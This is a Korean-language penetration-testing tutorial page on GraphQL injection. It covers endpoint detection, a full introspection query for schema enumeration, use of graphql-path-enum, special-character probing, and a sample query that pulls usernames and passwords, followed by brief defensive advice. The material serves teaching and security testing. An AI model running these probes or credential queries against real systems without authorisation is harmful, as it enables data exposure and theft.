GraphQL Injection

Introduction

GraphQL Injection은 GraphQL을 사용하는 환경에서의 Injection 공격을 의미합니다. GraphQL 특성 상 사용자가 요청한 Query는 하나의 서버 또는 복수의 서버에서 처리되어 결과를 리턴하기 떄문에 단순히 GraphQL 만의 문제가 아닌 SQL Injection이나 XXE 등 다른 취약점으로 연결될 가능성이 높습니다.

그래서 좁은 의미로는 GraphQL 자체 즉, Scheme과 Query 간에서 발생하는 공격을 의미하고, 넓게는 백엔드에서의 처리 문제로 인한 부분(SQLi, XXE 등)도 포함되기도 합니다.

GraphQL에 대한 전반적인 보안 관련 내용은 “Cullinan > GraphQL Security” 참고해주세요.

Offensive techniques

Detect

서비스에서 GraphQL을 사용하는 부분은 모두 테스팅 포인트가 됩니다. 보편적으로 /graphql 등의 경로를 많이 사용하며, 해당 경로가 아니더라도 query를 포함한 경우 GrphQL 서비스로 확인합니다.

GraphQL의 Endpoint를 찾았다면 Schema, Query 영역에 특수문자 등을 통해 의도되지 않은 동작이나 에러가 발생하도록 시도합니다.

Exploitation

Enum via Introspection Query

Introspection Query는 GraphQL에서 스키마와 쿼리에 대한 정보를 질의할 수 있도록 제공하는 쿼리입니다. __schema를 이용한 쿼리 기법이고 GraphQL 전체 구조를 질의할 수 있도록 쿼리를 구성할 수 있습니다.

query IntrospectionQuery {
      __schema {
        
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
      
      
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }

보통 위의 쿼리를 이용하여 결과를 뽑아낸 후 아래 GraphQL Voyager로 구성도를 그려서 확인합니다.

CHANGE SCHEMA > INTROSPECTION > 결과 붙여넣기 > DISPLAY

Enum via graphql-path-enum

# Clone graphql-path-enum
git clone https://gitlab.com/dee-see/graphql-path-enum
cd graphql-path-enum

# Run
graphql-path-enum -i ./test_data/h1_introspection.json -t Skill

Result

Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
....

Check Injection

GraphQL에 붙어있는 API들이 어떤 데이터를 어떻게 가공하는지 알 수 없기 때문에 GraphQL의 구조를 최대한 파악한 후 기능별로 쿼리를 진행해야합니다. 단순하게는 Key/Value 내 특수문자나 서비스에서 사용하지 않는 값들을 위주로 전송하여 Response를 확인할 수 있습니다.

GET https://blahblah/graphql?query={wor'">k}

Query to sensitive info

GET https://blahblah/graphql?query={user{username,password}}

Response

200 OK

{
  "data": {
    "user": [
      {
        "password": "1234",
        "username": "admin"
      },
      {
        "password": "bhbghyuyg",
        "username": "user2"
      },
      {
        "password": "hiuoij",
        "username": "user1"
      }
    ]
  }
}

Defensive techniques

GraphQL Injection 또한 다른 Injection 공격과 같이 사용자 입력값에 대한 검증이 필요합니다. 또한 GraphQL을 통해 생각보다 많은 정보에 접근할 가능성이 있기 떄문에 설계 단계에서 데이터, 권한 등에 대한 고민과 보호 로직이 필요합니다.

Tools

Articles

References